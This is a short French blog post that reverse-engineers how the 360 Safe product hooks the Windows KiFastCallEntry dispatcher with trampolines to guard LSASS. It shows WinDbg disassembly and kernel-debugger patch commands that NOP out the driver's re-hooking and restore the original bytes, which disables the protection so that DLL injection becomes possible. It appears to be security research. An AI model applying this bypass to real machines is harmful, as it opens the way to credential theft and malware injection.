Un billet rapide sur une protection m’ayant surpris : 360 Safe de nos amis chinois… (http://www.360.cn/)
Ce sacripant, même « désactivé » empêche certains accès à LSASS, et sans doute d’autres comportements déviants (en tout cas en x86).
Plutôt que de manipuler la SSDT, un pilote (hookport) place quelques trampolines dans la routine de répartition KiFastCallEntry
, et s’assure du maintien de ces derniers :
kd> u nt!KiFastCallEntry+0xe1 nt!KiFastCallEntry+0xe1: 8283f241 8b1487 mov edx,dword ptr [edi+eax*4] 8283f244 e98f7adc02 jmp 85606cd8 ; trampoline vers les fonctions "HIPS", remplaçant le code original […] kd> u 85606cd8 l1 85606cd8 e92bd5f4fd jmp Hookport+0xb208 (83554208) ; second trampoline vers les fonctions "HIPS" de 360 kd> u Hookport+0xc401 ; portions du pilote réécrivant le trampoline Hookport+0xc401: 83555401 ffa1886a5583 jmp dword ptr Hookport+0xda88 (83556a88)[ecx] 83555407 c600e9 mov byte ptr [eax],0E9h ; instruction ‘jmp’ 8355540a a1886a5583 mov eax,dword ptr [Hookport+0xda88 (83556a88)] 8355540f 8b0d786a5583 mov ecx,dword ptr [Hookport+0xda78 (83556a78)] 83555415 894801 mov dword ptr [eax+1],ecx ; pointeur vers le premier trampoline
Ce correcteur n’est lui même pas très protégé :
kd> f 83555407 l3 90 ; nop nop nop ;) Filled 0x3 bytes kd> f 83555415 l3 90 ; nop nop nop ;) Filled 0x3 bytes kd> eb 8283f244 2b e1 c1 e9 02 ; instructions originales remplaçant le premier trampoline
A nous l’injection de DLL, ou autres joyeusetés !
Finalement le plus compliqué est d’installer le produit, en Mandarin…